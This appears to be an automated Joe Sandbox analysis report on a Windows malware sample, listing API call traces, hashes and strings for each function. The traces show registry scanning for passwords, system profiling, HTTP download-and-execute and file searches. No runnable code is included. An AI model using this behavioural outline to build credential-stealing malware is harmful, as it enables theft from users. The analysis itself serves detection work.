Part of subcall function 023F9927: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,023F0DEC,?,00000000,?,00000000,004205C6,004205C5), ref: 023F9948

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 023F0FC1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 023F0FCD

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID:
API String ID: 1395395982-0
Opcode ID: 5f02957f32bc588cc3f78102301ac57cffd73d36a7e7861b7e9dc44853b35b92
Instruction ID: 8670abe2b8dec3a46aa6956659f28aeee55b5ce0480a9a0d0ea5d75f59082f88
Opcode Fuzzy Hash: 5f02957f32bc588cc3f78102301ac57cffd73d36a7e7861b7e9dc44853b35b92
Instruction Fuzzy Hash: 7861D5B5540218ABCB24EBA0ED55FEE773AAF44304F0041A9F70A66091EF746B88CF59

Function 023E4AE7 Relevance: 17.0, APIs: 11, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A51
Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A68
Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A7F
Part of subcall function 023E4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 023E4AA0
Part of subcall function 023E4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 023E4AB0

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 023E4B7C
StrCmpCA.SHLWAPI(?,0064A480), ref: 023E4BA1
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 023E4D21
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,00421988,00000000,?,0064A514), ref: 023E504F
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 023E506B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 023E507F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 023E50B0
InternetCloseHandle.WININET(00000000), ref: 023E5114
InternetCloseHandle.WININET(00000000), ref: 023E512C
HttpOpenRequestA.WININET(00000000,0064A49C,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 023E4D7C

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

InternetCloseHandle.WININET(00000000), ref: 023E5136

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID:
API String ID: 2402878923-0
Opcode ID: e9436af98fd97f90fb33399614dfc20492c57c9e4b406ec8cb954eac7af19915
Instruction ID: a3057a40a56f056aa3329a03007d04cfcb224a45e6046135d2312de9a7f32a3a
Opcode Fuzzy Hash: e9436af98fd97f90fb33399614dfc20492c57c9e4b406ec8cb954eac7af19915
Instruction Fuzzy Hash: 1F12B276910218ABCF65EB90ED61FEEB77ABF15300F504199A20AB2191DF742F88CF51

Function 023E64E7 Relevance: 16.7, APIs: 11, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A51
Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A68
Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A7F
Part of subcall function 023E4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 023E4AA0
Part of subcall function 023E4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 023E4AB0

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 023E6548
StrCmpCA.SHLWAPI(?,0064A480), ref: 023E656A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 023E659C
HttpOpenRequestA.WININET(00000000,00421A28,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 023E65EC
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 023E6626
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 023E6638
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 023E6664
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 023E66D4
InternetCloseHandle.WININET(00000000), ref: 023E6756
InternetCloseHandle.WININET(00000000), ref: 023E6760
InternetCloseHandle.WININET(00000000), ref: 023E676A

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID:
API String ID: 3074848878-0
Opcode ID: 6233cd159639085ce3b028a95152e179a77ccdecf231ea1e95f5afa63e354fd7
Instruction ID: 869cac72e91fa23f09ab461fd399a048f5f8e8bde1a13867dfc7c1a56cc9ac1a
Opcode Fuzzy Hash: 6233cd159639085ce3b028a95152e179a77ccdecf231ea1e95f5afa63e354fd7
Instruction Fuzzy Hash: 0C715E75A40328ABDF24DFA0DC59BEE7779FB44700F108199E60A6B1D0DBB46A88CF41

Function 023F9277 Relevance: 16.7, APIs: 11, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 023F92D3

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: f19ccceb9d9d465938ce7f290bd949bbae8562b5bf3b96ffc27cc6e5329703af
Instruction ID: cadf494444f676d46d17f42aeae7a38342d4d54ec7acb36b56b3f0cfe2ff8801
Opcode Fuzzy Hash: f19ccceb9d9d465938ce7f290bd949bbae8562b5bf3b96ffc27cc6e5329703af
Instruction Fuzzy Hash: 3C71ECB9A50208ABDB14DFE4DD84FEEB7BAFF49700F108508F615A7290DB74A905CB61

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

sA, xrefs: 004172AE, 00417179, 0041717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 00417111

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: 83bc95c561d3c7d7ec3f072c7b35a55b7f907de0dec64aa1652b34b8f8455e89
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: 83bc95c561d3c7d7ec3f072c7b35a55b7f907de0dec64aa1652b34b8f8455e89
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 023F7767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 023F77A9
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 023F77E6
GetProcessHeap.KERNEL32(00000000,00000104), ref: 023F786A
RtlAllocateHeap.NTDLL(00000000), ref: 023F7871
wsprintfA.USER32 ref: 023F78A7

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Strings

C, xrefs: 023F77B3
\, xrefs: 023F77C7
B, xrefs: 023F78B4, 023F78BC, 023F7882, 023F788A
:, xrefs: 023F77C3

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$B
API String ID: 1544550907-183544611
Opcode ID: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction ID: fd63ef3527a10ef29c959fb1d5f175cff15a1af08546585774fc2460a38496e8
Opcode Fuzzy Hash: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction Fuzzy Hash: 90416EB1D40358AFDB20DF94DC55BEEBBB9AF48700F000199E609A7280D7756A84CBA5

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(00000000,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(00000000,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(00000000, : ), ref: 0040765A
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(00000000,00421804), ref: 004076A0
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(00000000,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 991097200e3f3986b00727b8e04d0ccc938683cf049b1a3c2dcf1bd456b0a09d
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 991097200e3f3986b00727b8e04d0ccc938683cf049b1a3c2dcf1bd456b0a09d
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 023F1612 Relevance: 15.2, APIs: 10, Instructions: 205stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 023F1642

Part of subcall function 023F9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 023F9072

Part of subcall function 023F94C7: StrStrA.SHLWAPI(?,?), ref: 023F94D3

lstrcpy.KERNEL32(?,00000000), ref: 023F167E

Part of subcall function 023F94C7: lstrcpyn.KERNEL32(0064AB88,?,?), ref: 023F94F7
Part of subcall function 023F94C7: lstrlen.KERNEL32(?), ref: 023F950E
Part of subcall function 023F94C7: wsprintfA.USER32 ref: 023F952E

lstrcpy.KERNEL32(?,00000000), ref: 023F16C6
lstrcpy.KERNEL32(?,00000000), ref: 023F170E
lstrcpy.KERNEL32(?,00000000), ref: 023F1755
lstrcpy.KERNEL32(?,00000000), ref: 023F179D
lstrcpy.KERNEL32(?,00000000), ref: 023F17E5
lstrcpy.KERNEL32(?,00000000), ref: 023F182C
lstrcpy.KERNEL32(?,00000000), ref: 023F1874

Part of subcall function 023FAA87: lstrlen.KERNEL32(023E516C,?,?,023E516C,00420DDE), ref: 023FAA92
Part of subcall function 023FAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 023FAAEC

strtok_s.MSVCRT ref: 023F19B7

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$FolderPathlstrcpynstrtok_swsprintf
String ID:
API String ID: 4276352425-0
Opcode ID: 83c65cf866c105f8028d079524fd97563369a1785312c17678ae49576856bbd9
Instruction ID: 723bbb4e4ededf32b19dd3a5a2ad3511982d2e529bde39ff770849763cbab855
Opcode Fuzzy Hash: 83c65cf866c105f8028d079524fd97563369a1785312c17678ae49576856bbd9
Instruction Fuzzy Hash: 77717CB6950219ABCB64EBB0EC98FEE737AAF54300F0445D9E20DA3140EE755B84CF51

Function 023F5777 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 023FAA87: lstrlen.KERNEL32(023E516C,?,?,023E516C,00420DDE), ref: 023FAA92
Part of subcall function 023FAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 023FAAEC

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

StrCmpCA.SHLWAPI(00000000,004210C8,00000000), ref: 023F58AB
StrCmpCA.SHLWAPI(00000000,004210D0), ref: 023F5908
StrCmpCA.SHLWAPI(00000000,004210E0), ref: 023F5ABE

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023F5457: StrCmpCA.SHLWAPI(00000000,0042108C), ref: 023F548F

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023F5527: StrCmpCA.SHLWAPI(00000000,0042109C,00000000), ref: 023F557F
Part of subcall function 023F5527: lstrlen.KERNEL32(00000000), ref: 023F5596
Part of subcall function 023F5527: StrStrA.SHLWAPI(00000000,00000000), ref: 023F55CB
Part of subcall function 023F5527: lstrlen.KERNEL32(00000000), ref: 023F55EA
Part of subcall function 023F5527: strtok.MSVCRT(00000000,?), ref: 023F5605
Part of subcall function 023F5527: lstrlen.KERNEL32(00000000), ref: 023F5615

StrCmpCA.SHLWAPI(00000000,004210D8,00000000), ref: 023F59F2
StrCmpCA.SHLWAPI(00000000,004210E8,00000000), ref: 023F5BA7
StrCmpCA.SHLWAPI(00000000,004210F0), ref: 023F5C73
Sleep.KERNEL32(0000EA60), ref: 023F5C82

Strings

xYy, xrefs: 023F57EC, 023F57F1, 023F584A, 023F584F

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: xYy
API String ID: 3630751533-3875786623
Opcode ID: db5533aa26391db7b09057ab882c831095ddfd6089117583eb43885adc9af707
Instruction ID: dca3d4790c35a7eb0146e8d8e3f9063192664715bd8799186e1b91d242bcf911
Opcode Fuzzy Hash: db5533aa26391db7b09057ab882c831095ddfd6089117583eb43885adc9af707
Instruction Fuzzy Hash: 82E11F71950208AACF68FBA0FD95DEE737AAF55300F808169E64A66190EF345F4CCF91

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00414780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,007CADD0,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414801
lstrcatA.KERNEL32(?,?), ref: 00414820
lstrcatA.KERNEL32(?,?), ref: 00414834
lstrcatA.KERNEL32(?,0079A5F0), ref: 00414847
lstrcatA.KERNEL32(?,?), ref: 0041485B
lstrcatA.KERNEL32(?,007CB8D8), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: HeapAlloc.KERNEL32(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Strings

0aA, xrefs: 004148F9, 004148A1, 004148A4

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0aA
API String ID: 167551676-2786531170
Opcode ID: c41430eb4feb1aa100886eeb9410b758f6c3d0d9cc64a6702e2d15a1bac7c1b5
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: c41430eb4feb1aa100886eeb9410b758f6c3d0d9cc64a6702e2d15a1bac7c1b5
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,007CB010,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,007CB010,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 023E6307 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A51
Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A68
Part of subcall function 023E4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 023E4A7F
Part of subcall function 023E4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 023E4AA0
Part of subcall function 023E4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 023E4AB0

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 023E6376
StrCmpCA.SHLWAPI(?,0064A480), ref: 023E63AE
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 023E63F6
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 023E641A
InternetReadFile.WININET(?,?,00000400,?), ref: 023E6443
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 023E6471
CloseHandle.KERNEL32(?,?,00000400), ref: 023E64B0
InternetCloseHandle.WININET(?), ref: 023E64BA
InternetCloseHandle.WININET(00000000), ref: 023E64C7

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: b915265d1829dfbd27db1cb5210114f0d1e48a2f7e5b50ca4442b739670315f0
Instruction ID: d8703954c0ba4093d7ef59d0a5ec3e9d7c009a689c255ef7a1ee790f838dc203
Opcode Fuzzy Hash: b915265d1829dfbd27db1cb5210114f0d1e48a2f7e5b50ca4442b739670315f0
Instruction Fuzzy Hash: 955161B5A40218ABDF20DF90DC55BEE7779EF54705F008098F606A71C0DB74AA89CF95

Function 023F4FD7 Relevance: 12.6, APIs: 10, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 023F4FEE

Part of subcall function 023F9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 023F9072

lstrcat.KERNEL32(?,00000000), ref: 023F5017
lstrcat.KERNEL32(?,00421000), ref: 023F5034

Part of subcall function 023F4B77: wsprintfA.USER32 ref: 023F4B93
Part of subcall function 023F4B77: FindFirstFileA.KERNEL32(?,?), ref: 023F4BAA

memset.MSVCRT ref: 023F507A
lstrcat.KERNEL32(?,00000000), ref: 023F50A3
lstrcat.KERNEL32(?,00421020), ref: 023F50C0

Part of subcall function 023F4B77: StrCmpCA.SHLWAPI(?,00420FDC), ref: 023F4BD8
Part of subcall function 023F4B77: StrCmpCA.SHLWAPI(?,00420FE0), ref: 023F4BEE
Part of subcall function 023F4B77: FindNextFileA.KERNEL32(000000FF,?), ref: 023F4DE4
Part of subcall function 023F4B77: FindClose.KERNEL32(000000FF), ref: 023F4DF9

memset.MSVCRT ref: 023F5106
lstrcat.KERNEL32(?,00000000), ref: 023F512F
lstrcat.KERNEL32(?,00421038), ref: 023F514C

Part of subcall function 023F4B77: wsprintfA.USER32 ref: 023F4C17
Part of subcall function 023F4B77: StrCmpCA.SHLWAPI(?,004208D2), ref: 023F4C2C
Part of subcall function 023F4B77: wsprintfA.USER32 ref: 023F4C49
Part of subcall function 023F4B77: PathMatchSpecA.SHLWAPI(?,?), ref: 023F4C85
Part of subcall function 023F4B77: lstrcat.KERNEL32(?,0064A524), ref: 023F4CB1
